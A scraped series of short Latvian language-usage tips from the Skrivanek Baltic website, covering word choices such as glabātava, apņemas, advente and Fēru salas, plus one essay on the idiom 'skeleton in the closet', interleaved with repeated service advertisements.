TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-05-09 - Modified: 2024-08-09 - URL: https://skrivanek.lv/mantu-glabatava-pret-mantu-glabatuve/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MANTU GLABĀTAVA PRET MANTU GLABĀTUVE 1 Daudzviet mūsu ērtībām uz neilgu laiku tiek piedāvāts atstāt liekās mantas – iepirkumus, lielu bagāžu utt. – mantu glabātuvēs. Vai tās tiešām ir glabātuves vai tomēr glabātavas? Ar izskaņu „-uve” mēs atvasinām lietvārdus no darbības vārdiem, kuros ir viena zilbe: tā no darbības vārda „kalt” atvasinām lietvārdu „kaltuve”; no „šaut” – „šautuve” u. tml. Ja darbības vārdā ir divas zilbes vai vairāk, no tā atvasina lietvārdu ar izskaņu „-ava”: tātad no „mazgāt” – „mazgātava”, no „glabāt” – „glabātava”. Tātad dzelzceļa stacijā vai lidostā atstāsim bagāžu glabātavā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Jaunā gada sākums ir arī dažādu apņemšanos laiks – vai ļaudis šajā laikā kaut ko apņemas vai apņemās? Ieskaties un uzzini atbildi! - Published: 2018-05-09 - Modified: 2024-09-12 - URL: https://skrivanek.lv/cilveki-apnemas/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional CILVĒKI APŅEMAS PRET CILVĒKI APŅEMĀS 1 Jaunā gada sākums ir arī dažādu apņemšanos laiks – vai ļaudis šajā laikā kaut ko apņemas vai apņemās? Vārds „apņemties” ir 1. konjugācijas darbības vārds, kuram vienskaitļa un daudzskaitļa 3. personā (viņš, viņa un viņi, viņas), kā arī daudzskaitļa 1. un 2. personā (mēs un jūs) galotnē lietojams īsais patskanis „a”: viņš apņemas, viņi apņemas, mēs apņemamies, jūs apņematies. Atceramies, ka garais patskanis lietojams tikai darbības vārdos, kuru izskaņa nenoteiksmē ir „-īt”, „-īties”, „-ināt”, „-ināties”. Atceramies, ka garais patskanis lietojams tikai darbības vārdos, kuru izskaņa nenoteiksmē ir „-īt”, „-īties”, „-ināt”, „-ināties”. Tātad jaunajā gadā cilvēki apņemas mainīt dzīvi dažādi: daži apņemas notievēt, citi apņemas iemācīties ko jaunu utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vienā no portāliem sastapām virsrakstu „Vīrietis ar pagātni: kā sadzīvot ar skeletiem viņa „skapī””. Kas ir šī vīrieša skelets, un kāpēc tas ir „skapī”? - Published: 2018-04-19 - Modified: 2021-05-06 - URL: https://skrivanek.lv/asakas-atvilktne-un-kauli-skapi/ - Kategorijas: valodas pērles - Translation Priorities: Optional ASAKAS ATVILKTNĒ UN KAULI SKAPĪ Portālu, kas māca, kā tikt galā ar dažādām attiecību nedienām, ir ne mazums. Varam noskaidrot, kurās zodiaka zīmēs dzimušās dāmas vai kungi būs vislabākie virtuvē, vai saprast, ka šībrīža attiecības nonākušas strupceļā un steigšus jāatceļ kāzas. Vienā no šādiem portāliem sastapām virsrakstu „Vīrietis ar pagātni: kā sadzīvot ar skeletiem viņa „skapī””. Kas ir šī vīrieša skelets, un kāpēc tas ir „skapī”? Mums labi zināmi tādi teicieni kā „uz ātru roku” ar nozīmi ‘steigā, pavirši’, „piliens jūrā” ar nozīmi ‘pārāk maz, lai ko ietekmētu’ un citi – tos pazīstam kā frazeoloģismus: leksiski nedalāmus vārdu savienojumus, kuru nozīme parasti saistīta ar visa vārdu savienojuma vai atsevišķu tā komponentu nozīmes pārnesumu. Milzums frazeoloģismu iekļauts „Latviešu frazeoloģijas vārdnīcā”, taču ir visai daudz teicienu, kuri vai nu parādījušies pēdējo desmitgažu laikā, vai kādu citu atlases kritēriju dēļ nav uzskatīti par īstiem frazeoloģismiem, kas gana labi nostiprinājušies latviešu valodā. No kāda literāra vai vēstures avota radušos frāzi mēdzam dēvēt par spārnotu teicienu, arī idiomu. Ļoti populāri ir latīņu spārnotie teicieni, kā „per aspera ad astra” – ‘caur ērkšķiem uz zvaigznēm’ vai „amicus verus – rara avis” – ‘patiess draugs – rets putns’, u. c. Tiesa, liela daļa spārnoto teicienu ar laiku kļūst par frazeoloģismiem, kā no Dona Kihota piedzīvojumiem gūtais „cīņa ar vējdzirnavām”, kas iekļauts arī latviešu frazeoloģismu vidū. Ir vēl rinda frāžu, kuras, sauktas par spārnotiem teicieniem, metaforām, idiomām vai frazeoloģismiem, saprotam pāri valstu robežām. Tā, piemēram, apzīmējums „pelēkais kardināls”, kas sākumā ticis attiecināts uz kardināla Rišeljē labo roku Fransuā Leklēru di Tremblē, pēcāk lietots, arī apzīmējot citas personas, kurām neoficiāli ir lielāka ietekme un vara nekā publiski redzamajām. Teiciens „skelets skapī” kopš 19. gadsimta sastopams avotos angļu valodā (piemēram, Lēdijas Skotas romāns ar šādu nosaukumu) un, trāpīgi apzīmēdams kādu kaunpilnu, slēpjamu faktu cilvēka dzīvē, drīz vien izplatījies arī tālāk. Jo kurā valodā gan nav jārunā par skeletiem skapī? Jāpiebilst, ka šādi teicieni uztverami kā nedalāmas konstrukcijas, tātad, lai gan atsevišķi vārdi tajos lietoti pārnestā nozīmē, nav vajadzības tos likt pēdiņās. Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Ziņas lasām portālā vai vortālā? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-04-17 - Modified: 2024-08-29 - URL: https://skrivanek.lv/portals-pret-vortals/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PORTĀLS PRET VORTĀLS 1 Vai ziņas lasām portālā vai vortālā? Portāls ir liela tīmekļvietne, kas nodrošina piekļuvi plašam datorpakalpojumu klāstam, piemēram, elektroniskajam pastam, meklētājprogrammām, diskusiju un interešu grupām u. c. vajadzībām. Varam satikt draugus sociālajos portālos, lasīt jaunumus pasaulē ziņu portālos, kā arī apskatīt aizraujošus video izklaides portālos. Par vortālu savukārt dēvējam kādas konkrētas nozares tīmekļvietni. Vortāli nodrošina klientus ar attiecīgās nozares jaunumiem, pētījumiem un statistiku, diskusijām, tiešsaistes līdzekļiem utt. Populāri vortāli Latvijā ir, piemēram, Latvijas literatūras vortāls www. literatura. lv vai atkritumu apsaimniekošanas vortāls www. atkritumi. lv. Tātad jaunākās ziņas lasīsim portālā, taču recepšu gudrības smelsimies recepšu vortālā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai Ziemassvētku gaidīšanas laiks ir advente vai advents? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-17 - Modified: 2025-07-16 - URL: https://skrivanek.lv/advente-pret-advents/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ADVENTE VAI ADVENTS 1 Vai Ziemassvētku gaidīšanas laiks ir advente vai advents? Dažās vārdnīcās sniegta forma „advente”, citās – divas formas: „advente” un „advents”. Baznīca izvēlas vīriešu dzimtes formu, turklāt rakstībā lieto lielo sākumburtu: „Advents”. Daļa sabiedrības sakās izbaudām mierīgo adventa laiku, daļa spītīgi apgalvo, ka adventes laikā dedzina svecītes adventes vainagā. Vārds „advente” aizgūts no latīņu valodas vārda „adventus” ar nozīmi ‘atnākšana’. Latīņu valodā tas ir vīriešu dzimtes vārds, savukārt latviešu valodā procesu nosaukumi ir ierasti sieviešu dzimtes formā – atnākšana, domāšana, gaidīšana, smiešanās u. tml. –, tāpēc arī Ziemassvētku gaidīšanas laika nosaukums lietojams sieviešu dzimtē: „advente”. Strīdi ap adventu vai adventi nerimstas, un jaunākajās latviešu valodas vārdnīcās (piemēram, svešvārdu vai skaidrojošajās vārdnīcās) joprojām tiek norādītas abas formas. Gan 1995. gadā izdotajā „Latviešu valodas pareizrakstības un pareizrunas vārdnīcā”, gan arī LZA Terminoloģijas komisijas izdevumā „Terminoloģijas Jaunumi” 2003. gadā atrodama sieviešu dzimtes forma „advente”, kas arī uzskatāma par ieteicamo formu saskaņā ar mūsdienu latviešu valodas normām. Tātad laiks no ceturtās svētdienas pirms Ziemassvētkiem līdz 24. decembrim ir advente. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai domājam par kādu ikdienas vai ik dienas? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-17 - Modified: 2024-10-23 - URL: https://skrivanek.lv/ik-dienas-pret-ikdienas/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional IK DIENAS PRET IKDIENAS 1 Vai domājam par kādu ikdienas vai ik dienas? Vārdi „ikdienas” un „ik dienas” raksturo to, kas notiek katru dienu. Atšķiras šo vārdu funkcijas. Kopā rakstāmajam vārdam „ikdienas” ir apzīmētāja funkcija, tas ir, ar to raksturojam kādu lietvārdu vai lietvārda nozīmē lietotu vārdu: ikdienas drēbes, ikdienas gaitas. Šķirti rakstāmos vārdus „ik dienas” lietojam apstākļa funkcijā, proti, paskaidrojot ar darbības vārdu, īpašības vārdu vai apstākļa vārdu izteiktu teikuma locekli: daudz strādājam ik dienas, ēdam veselīgi ik dienas. Jāpiebilst, ka latviešu valodā ar partikulu „ik” varam lietot gan ģenitīvu, gan akuzatīvu, tātad iespējams gan savienojums „ik dienas”, gan „ik dienu”: daudz strādājam ik dienas/ik dienu, ēdam veselīgi ik dienas/ik dienu. Tātad Annas ikdienas domas kavējas pie Jāņa, un Anna par Jāni domā ik dienas. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai ceļosim uz Farēru, Ferēru vai Fēru salām? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-17 - Modified: 2024-08-14 - URL: https://skrivanek.lv/fareru-pret-fereru-pret-feru-salas/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional FARĒRU PRET FERĒRU PRET FĒRU SALAS 1 Vai ceļosim uz Farēru, Ferēru vai Fēru salām? Fēriešu valodā salu nosaukums ir „Føroyar” – tas ir saliktenis, kur otrā daļa nozīmē „salas”. Tā kā fonētiski fēriski rakstītā „ø” tuvākā atveide ir „ē”, latviešu valodā salikteņa pirmā daļa atveidota kā „Fēru”, savukārt otra daļa, līdzīgi kā citās valodās, tulkota par „salas”. Nosaukums „Farēru salas”, visticamāk, ienācis krievu valodas ietekmē – tajā nosaukums ir „Фарерские острова”, savukārt „Ferēru salas” – raugot no krievu valodas aizgūto nosaukumu pielāgot izrunai oriģinālvalodā. Latviešu valodā pēdējās desmitgadēs nostiprinājies nosaukums „Fēru salas”, un tas arī būtu ieteicams. Tātad dosimies apskatīt Fēru salas. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai ciemos pie mums brauc rads vai radinieks? Ieksaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-17 - Modified: 2024-10-22 - URL: https://skrivanek.lv/rads-vai-radinieks/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional RADS VAI RADINIEKS 1 Vai ciemos pie mums brauc rads vai radinieks? Vārdi „rads” un „radinieks” ir sinonīmi – tie apzīmē to, ar kuru ir radniecīgas attiecības. Izrunājot vārdu „rads”, rodas pozicionāla afrikāta , proti, ja pirms galotnes „s” ir līdzskanis „d” vai „t”, izrunājot šie savienojumi „ds” vai „ts” skan kā . Tātad gan vārds „rats”, gan „rads” tiek izrunāts . Visticamāk, šī iemesla dēļ nelietojam vienskaitli – „tas ir mans rads” –, bet tikai daudzskaitli: „tie ir mani radi”. Savukārt vārds „radinieks” nekādus pārpratumus neraisa, tāpēc droši sakām gan „tas ir mans radinieks”, gan „tie ir mani radinieki”. Tātad ciemos var braukt gan rads, gan radinieks, tikai skaidrības labad runā parasti izvēlamies vārdu „radinieks”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai politikā sastopam peripetijas vai peripētijas? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-04-17 - Modified: 2022-12-22 - URL: https://skrivanek.lv/peripetija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PERIPETIJA PRET PERIPĒTIJA 1 Vai politikā sastopam peripetijas vai peripētijas? Pēkšņu, krasu darbības, apstākļu maiņu, arī negaidītu sarežģījumu dēvē par peripetiju. Vārds cēlies no grieķu vārda „peripetija” ar nozīmi ‘negaidīts pavērsiens’. Ar peripetijām parasti apzīmējam dažādus sarežģījumus, nereti arī intrigas vēsturē, politikā, literāros darbos utt. Tātad varam runāt par jūtu peripetijām, pilsētas domē var būt politiskās peripetijas. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai e-pasta adresē „janis_lapa@jauki.lv” starp vārdu un uzvārdu lietota apakšsvītra vai pasvītra? Ieskaties un uzzini atbildi! - Published: 2018-04-17 - Modified: 2024-09-12 - URL: https://skrivanek.lv/apakssvitra-pret-pasvitra/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional APAKŠSVĪTRA PRET PASVĪTRA 1 Vai e-pasta adresē „janis_lapa@jauki. lv” starp vārdu un uzvārdu lietota apakšsvītra vai pasvītra? Pasvītrojumu vienas rakstzīmes garumā, kuru lietojam, lai savienotu vārdus, kad atstarpe starp tiem nav vēlama, sauc par pasvītru (angļu valodas termins „underscore”). Pasvītras lietojam, piemēram, e-pasta adresēs un mapju nosaukumos datora atmiņā. Tātad e-pasta adresē „janis_lapa@jauki. lv” starp vārdu un uzvārdu lietojam pasvītru. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai teiksim „viens pluss viens” vai „viens plus viens”? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-17 - Modified: 2024-07-12 - URL: https://skrivanek.lv/plus-pret-pluss/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PLUS PRET PLUSS 1 Vai teiksim „viens pluss viens” vai „viens plus viens”? Vārds „plus” ir apstākļa vārds – to lietojam matemātikā starp diviem skaitļiem, tos saskaitot, kā arī pozitīvu lielumu apzīmēšanai un pirms temperatūras apzīmējuma, norādot, ka temperatūra ir virs nulles, piemēram, „plus pieci grādi”. Savukārt „pluss” ir lietvārds – tā saucam saskaitīšanas zīmi un tā dēvējam arī kādu pozitīvo pusi vai priekšrocību, piemēram, „viņa pluss ir takta izjūta”. Tātad mūsu pluss ir laba skaitītprasme: viens plus viens ir divi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai sarunu skatāmies tiešajā ēterī vai ēterā? Ieskaties un uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-17 - 